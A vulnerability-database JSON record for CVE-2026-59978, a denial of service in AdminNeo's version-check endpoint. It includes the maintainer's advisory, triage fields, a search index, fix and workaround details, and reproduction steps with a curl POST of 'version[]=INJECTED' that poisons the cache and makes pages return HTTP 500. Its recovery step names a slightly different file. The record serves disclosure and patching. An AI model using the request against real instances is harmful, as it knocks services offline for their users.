{"id":"CVE-2026-59978","kind":"vulnerability","aliases":["CVE-2026-59978","GHSA-jm85-8cpp-9cjc"],"related":[],"title":"AdminNeo: version-cache array injection causes persistent denial of service","description":"### Summary\nAdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours.\n\nOriginally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh\nAlthough the version checking process was modified in AdminNeo, the root cause persisted.\n\n### Workaround\nIf you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.\n\n### Details\n#### 1. Intended design of `?script=version`\nThe endpoint is designed to receive version data from GitHub via browser JavaScript.\n- `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX.\n- JavaScript POSTs version number to `?script=version`.\n- Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours.\n\n```js\n// function.js lines 119-120\nconst data = 'version=' + version + '&token=' + token;\najax(baseUrl + 'script=version', null, data);\n```\n\n#### 2. The vulnerability\n\nThe endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate:\n- Request origin (CSRF token is present, but not checked for this endpoint)\n- Request source (any HTTP client can POST)\n- Parameter types (`version` expected as string, array not rejected)\n\n```php\n// bootstrap.inc.php lines 44-53\nif ($_GET[\"script\"] == \"version\") {\n\t$filename = get_temp_dir() . \"/adminneo.version\";\n\t@unlink($filename); // It may not be writable by us, @ - it may not exist.\n\n\t$file = open_file_with_lock($filename);\n\tif ($file) {\n\t\twrite_and_unlock_file($file, serialize([\"version\" => $_POST[\"version\"]]));\n\t}\n\texit;\n}\n```\n\n#### 3. Type confusion crash\nWhen POST contains `version[]` instead of `version`, PHP creates an array. When AdminNeo reads this file and passes to `cookie()` and then to `rawurlencode()`:\n\n```php\n// design.inc.php line 40\ncookie(\"neo_version\", $data[\"version\"], $lifetime); // Sync expiration with the file.\n\n// functions.inc.php lines 398-405\nfunction cookie(string $name, string $value, int $lifetime = 2592000): void\n{\n\theader(\"Set-Cookie: $name=\" . rawurlencode($value)\n\t\t. ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\")\n\t\t. \"; path=\" . preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"])\n\t\t. (HTTPS ? \"; secure\" : \"\")\n\t\t. \"; HttpOnly; SameSite=lax\",\n\t\tfalse);\n}\n```\n\nPHP 8.x throws:\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n### Steps to Reproduce\n\n(Example URL is for the official AdminNeo Docker image.)\n\n**Step 1:** Verify AdminNeo is running and accessible.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n200\n```\n\n**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.\n\n```sh\ncurl -X POST \"http://localhost:8080?script=version\" -d \"version[]=INJECTED\"\n```\n\nExpected output: Empty response (no error).\n\n**Step 3:** Access Adminer again to trigger the crash.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n500\n```\n\n**Step 4:** (Optional) View the PHP error in server logs.\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n**Step 5:** (Optional) Inspect the poisoned file.\n\n```sh\ncat /tmp/adminneo.version\n```\n\nExpected output:\n\n```\na:1:{s:7:\"version\";a:1:{i:0;s:8:\"INJECTED\";}}\n```\n\n**Recovery:**\n\n```sh\nrm /tmp/adminer.version\n```\n\nAfter deletion, AdminNeo returns HTTP 200.\n\n<hr>\n\n### Impact\n\n**Type:** Denial of Service\n\n**Root cause:** The `?script=version` endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `rawurlencode()`, this allows DoS for the next 24 hours.\n\n**Affected users:** Any AdminNeo instance accessible over the network.","summary":"AdminNeo's version-check endpoint accepts any POST without validation, so an array value gets cached and breaks page rendering. An unauthenticated attacker can make every user of the instance receive HTTP 500 errors for about 24 hours.","severity":"high","cvss":7.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"adminneo-org/adminneo","fixed":["5.5.0"],"affected":">= 4.6.2, < 5.5.0","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["adminneo","cwe-20","package","php","self-hosted"],"not_affected_if":["not-network-reachable","version-5.5.0-or-later","version-below-4.6.2"],"how_to_check":"- Confirm the installed version of `composer:adminneo-org/adminneo`, for example with `composer show adminneo-org/adminneo`\n- Check whether the instance is reachable from the internet or an untrusted network\n- Look for `adminneo.version` in the PHP temp directory (`upload_tmp_dir`) to see whether a poisoned cache file exists","fix":"- `adminneo-org/adminneo` `5.5.0` (affected `>= 4.6.2, < 5.5.0`)\n- Workaround from the advisory if upgrading is not possible: make `adminneo.version` in the temp directory unwritable by the web server","status":"open","published_at":"2026-10-30T18:53:08+00:00","first_seen_at":"2026-10-30T18:55:51+00:00","triaged_at":"2026-10-30T18:56:40+00:00","updated_at":"2026-10-30T18:56:40+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-30T18:56:40Z","model":"claude-haiku-5-5","output":{"fix":"- `adminneo-org/adminneo` `5.5.0` (affected `>= 4.6.2, < 5.5.0`)\n- Workaround from the advisory if upgrading is not possible: make `adminneo.version` in the temp directory unwritable by the web server","reach":"internet","title":"AdminNeo: crafted POST makes every page return HTTP 500 for 24 hours","impact":"low","summary":"AdminNeo's version-check endpoint accepts any POST without validation, so an array value gets cached and breaks page rendering. An unauthenticated attacker can make every user of the instance receive HTTP 500 errors for about 24 hours.","audience":"businesses","category":"package","nicknames":[],"who_cares":["php","adminneo","self-hosted"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"Denial of service: all users get HTTP 500 for 24 hours","analyst_note":"","how_to_check":"- Confirm the installed version of `composer:adminneo-org/adminneo`, for example with `composer show adminneo-org/adminneo`\n- Check whether the instance is reachable from the internet or an untrusted network\n- Look for `adminneo.version` in the PHP temp directory (`upload_tmp_dir`) to see whether a poisoned cache file exists","plain_action":"","needs_analyst":false,"not_affected_if":["version-below-4.6.2","version-5.5.0-or-later","not-network-reachable"],"who_is_affected":"Any AdminNeo instance from 4.6.2 up to but not including 5.5.0 that is reachable over the network is exposed, because the version endpoint does not check where POST requests come from or what type their data has. Instances only reachable on a private network with no untrusted users are lower risk but still affected in principle.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000925,"input_tokens":5967,"output_tokens":657,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-120':270C '-121':222C '-20':29B '-2026':13A,21A '-405':416C '-53':329C '-59978':14A,22A '/adminneo':26A '/adminneo.version':338C '/dev/null':502C,562C '/ini.core#ini.upload-tmp-dir))':194C '/tmp':624C '/tmp/adminneo.version':245C,606C '/vrana/adminer/security/advisories/ghsa-q4f2-39gr-45jh':158C '0':617C '1':200C,469C,491C,588C,610C,615C '110':221C '119':269C '2':283C,513C '200':511C '24':72B,148C,264C '2592000':425C '3':370C,550C '398':415C '4':573C '40':401C '44':328C '5':598C '500':68B,141C,571C '7':612C '8':460C,619C '8080':508C,537C,568C '8cpp':18A '9cjc':19A 'accept':41B,106C 'access':497C,551C 'admin':155C,552C 'adminneo':1A,24A,27B,35B,75C,167C,386C,487C,493C 'adminneo-org':23A 'adminneo.version':181C 'ajax':232C,277C 'although':159C 'api':83C,230C 'argument':468C,587C 'array':5A,48B,123C,132C,322C,384C,476C,527C,595C 'attack':58B,113C 'baseurl':278C 'bootstrap.inc.php':326C 'break':53B 'browser':86C,217C 'cach':4A,51B,253C 'cat':605C 'caus':7A,170C,522C 'check':39B,162C,289C,305C 'client':313C 'code':505C,565C 'confus':372C 'const':271C 'contain':376C 'convert':120C 'cooki':393C,402C,418C,430C 'crash':373C,557C 'creat':382C,525C 'csrf':299C 'curl':499C,533C,559C 'cve':12A,20A 'cwe':28B 'd':437C,438C,540C 'data':108C,213C,272C,282C,405C 'denial':9A 'design':202C,209C 'design.inc.php':399C 'detail':199C 'dir':191C,337C 'directori':184C 'docker':488C 'empti':545C 'endpoint':40B,101C,207C,287C,308C 'error':69B,464C,548C,578C,583C 'everi':61B 'exampl':481C 'exist':351C 'exit':369C 'expect':319C,509C,543C,569C,607C 'expir':409C,435C 'fals':458C 'fatal':463C,582C 'file':180C,246C,352C,354C,359C,363C,364C,389C,412C,603C 'filenam':334C,340C,357C 'function':88C,128C,417C 'function.js':267C 'functions.inc.php':413C 'functions.js':219C 'get':50B,77C,290C,331C,335C 'ghsa':16A 'ghsa-jm85-8cpp-9cjc':15A 'github':82C,215C,229C 'github.com':157C 'github.com/vrana/adminer/security/advisories/ghsa-q4f2-39gr-45jh':156C 'given':477C,596C 'gmdate':436C 'gmt':446C 'h':441C 'header':427C 'host':34B 'hour':73B,149C,265C 'http':67B,140C,312C,504C,564C 'httpon':455C 'https':453C 'imag':489C 'inform':227C 'inject':6A,542C,620C 'inspect':600C 'instanc':65B 'instead':133C,378C,528C 'int':423C 'intend':201C 'javascript':87C,218C,233C 'jm85':17A 'joyghosh':153C 'js':266C 'lack':102C 'latest':79C,225C 'lax':457C 'lifetim':407C,424C,434C,445C 'line':220C,268C,327C,400C,414C 'load':127C 'localhost':507C,536C,567C 'lock':356C 'log':581C 'm':439C 'make':60B,178C 'malici':516C 'may':342C,349C 'modifi':165C 'must':471C,590C 'n':506C,566C 'name':420C,431C 'neo':403C 'next':125C,147C,263C 'null':281C 'number':90C,236C,243C 'o':501C,561C 'offici':486C 'open':353C 'option':574C,599C 'org':25A 'origin':103C,150C,298C 'output':510C,544C,570C,608C 'packag':30B 'page':54B,126C 'paramet':117C,316C 'pass':391C 'path':447C 'persist':8A,171C 'php':31B,119C,325C,381C,398C,459C,523C,577C 'poison':602C 'post':43B,95C,107C,115C,234C,315C,367C,375C,517C,535C 'preg':448C 'present':302C 'process':163C 'rawurlencod':129C,397C,432C,467C,586C 'read':387C 'receiv':66B,130C,211C,223C 'recoveri':621C 'reject':324C 'releas':226C 'render':55B 'replac':449C 'report':151C 'reproduc':480C 'request':96C,297C,309C,451C,518C 'respons':546C 'return':139C 'rm':623C 'root':169C 'run':495C 'samesit':456C 'script':98C,204C,238C,279C,291C,332C,538C 'secur':454C 'self':33B 'self-host':32B 'send':514C 'sent':93C 'serial':365C 'server':198C,240C,260C,450C,580C 'servic':11A 'set':429C 'set-cooki':428C 'sh':498C,532C,558C,604C,622C 'share':252C 'sourc':111C,310C 'step':478C,490C,512C,549C,572C,597C 'store':241C 'string':135C,321C,419C,421C,470C,475C,531C,589C,594C 'summari':74C 'sync':408C 'syntax':521C 'temp':183C,336C 'throw':137C,462C 'time':444C 'tmp':190C 'token':275C,276C,300C 'trigger':555C 'type':317C,371C,474C,593C 'typeerror':138C,466C,585C 'unauthent':57B 'uncaught':465C,584C 'unlink':339C 'unlock':362C 'unwrit':195C 'upgrad':177C 'upload':189C 'uri':452C 'url':482C 'us':347C 'use':249C 'user':62B,144C,256C 'usual':185C 'v5.4.1':76C 'valid':45B,104C,296C 'valu':49B,187C,422C,433C 'verifi':492C 'version':3A,38B,80C,89C,99C,116C,161C,205C,212C,235C,239C,242C,273C,274C,280C,292C,318C,333C,366C,368C,377C,380C,404C,406C,520C,539C,541C,613C 'version-cach':2A 'version-check':37B 'via':216C 'view':575C 'void':426C 'vulner':285C 'w':503C,563C 'web':197C 'without':44B 'workaround':172C 'writabl':345C 'write':360C 'www.php.net':193C 'www.php.net/ini.core#ini.upload-tmp-dir))':192C 'x':461C,534C 'y':440C","nicknames":[],"mitigations":[],"who_affected":"Any AdminNeo instance from 4.6.2 up to but not including 5.5.0 that is reachable over the network is exposed, because the version endpoint does not check where POST requests come from or what type their data has. Instances only reachable on a private network with no untrusted users are lower risk but still affected in principle.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"first_public_at":"2026-10-30T18:53:08+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-jm85-8cpp-9cjc","url":"https://github.com/advisories/GHSA-jm85-8cpp-9cjc","severity":"high","published_at":"2026-10-30T18:53:08+00:00","modified_at":"2026-10-30T18:53:08+00:00","first_seen_at":"2026-10-30T18:55:51+00:00","fetched_at":"2026-10-30T20:28:42+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-59978","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59978","severity":null,"published_at":"2026-10-30T19:18:27+00:00","modified_at":"2026-10-30T19:18:27+00:00","first_seen_at":"2026-10-30T19:25:29+00:00","fetched_at":"2026-10-30T19:25:31+00:00","note":null}],"documents":[{"id":25329,"url":"https://api.github.com/repos/adminneo-org/adminneo/security-advisories/GHSA-jm85-8cpp-9cjc","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":25330,"url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":25331,"url":"https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":25332,"url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}